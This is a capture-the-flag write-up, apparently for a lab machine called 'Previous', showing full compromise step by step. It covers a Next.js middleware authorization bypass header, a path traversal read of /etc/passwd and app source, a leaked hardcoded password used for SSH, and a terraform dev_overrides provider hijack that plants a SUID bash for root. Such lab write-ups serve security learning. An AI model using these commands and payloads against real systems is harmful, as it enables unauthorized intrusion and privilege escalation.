Enumeration
We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.83 -o allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Next, we use options -sV to enable version detection and -sC to run default scripts against the open ports:
nmap -p22,80 -sCV 10.10.11.83 -o targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that the SSH service is running on port 22 and the HTTP service is running on port 80. The HTTP service is using Nginx 1.18.0 on Ubuntu.
Nginx is doing virtual hosting redirecting users to http://previous.htb. We can add this domain to our /etc/hosts:
echo "10.10.11.83 previous.htb" | sudo tee -a /etc/hosts
We use gobuster to enumerate directories on the web server:
gobuster dir -u http://previous.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
/docs (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/signin (Status: 200) [Size: 3481]
/docsis (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocsis]
/apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
We find a article that discusses an authorization bypass vulnerability. This vulnerability allows an attacker to get through the authentication process without any credentials and access sensitive files.
We have to add the following header to all requests which require authentication:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
If we navigate to http://previous.htb/docs/examples, we find a link to download a file. We can modify the request to download the /etc/passwd file:
GET /api/download?example=../../../../../../../etc/passwd HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Host: previous.htb
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
We download the ./app/.next/routes-manifest.json file to get more information about the application routes:
dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
Then we can use this information to craft our requests more effectively.
We try to read contents of authorized routes:
GET /api/download?example=../../../../../../../../../../../app/.next/server/pages/api/auth/[...nextauth].js
...
authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})]
...
We find a function authorize that checks the username and password against known values.
User Exploitation
We try to connect as the user jeremy with the password MyNameIsJeremyAndILovePancakes via ssh:
ssh jeremy@10.10.11.83
whoami
jeremy
We check the user flag:
cat /home/jeremy/user.txt
user flag value
Root Exploitation
We check if user jeremy has sudo privileges:
sudo -l
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
We check what we are running if executing sudo command:
cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
We see that user running this script, will execute providers in previous.htb/terraform/examples.
If we go to our own .terraformrc file, we will find the following configuration:
cat ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
It is important to note that the dev_overrides allows us to specify a local path for the provider.
We can use this on our advantage, we can change the local path provider to point to our own malicious binary which will be executed instead of the original provider by root.
echo "#!/bin/bash
cp /bin/bash /tmp/bash; chmod +s /tmp/bash
" > /tmp/terraform-provider-examples
chmod +x /tmp/terraform-provider-examples
echo "provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}" > ~/.terraformrc
Then we can execute the terraform command with sudo privileges:
sudo /usr/bin/terraform -chdir=/opt/examples apply
We check everything has worked as expected:
ll /tmp/bash
-rwsr-sr-x 1 root root 1396520 Aug 24 11:14 /tmp/bash*
We can now escalate our privileges to root by exploiting the SUID bit on the /tmp/bash binary.
/tmp/bash -p
whoami
root
We now can check the root flag.
cat /root/root.txt
root flag value
Conclusion
This write-up demonstrates the process of exploiting a vulnerable Terraform configuration to escalate privileges from a low-privileged user to root. By understanding the inner workings of the Terraform provider installation and leveraging the SUID bit on a malicious binary, we were able to gain root access and retrieve the root flag.





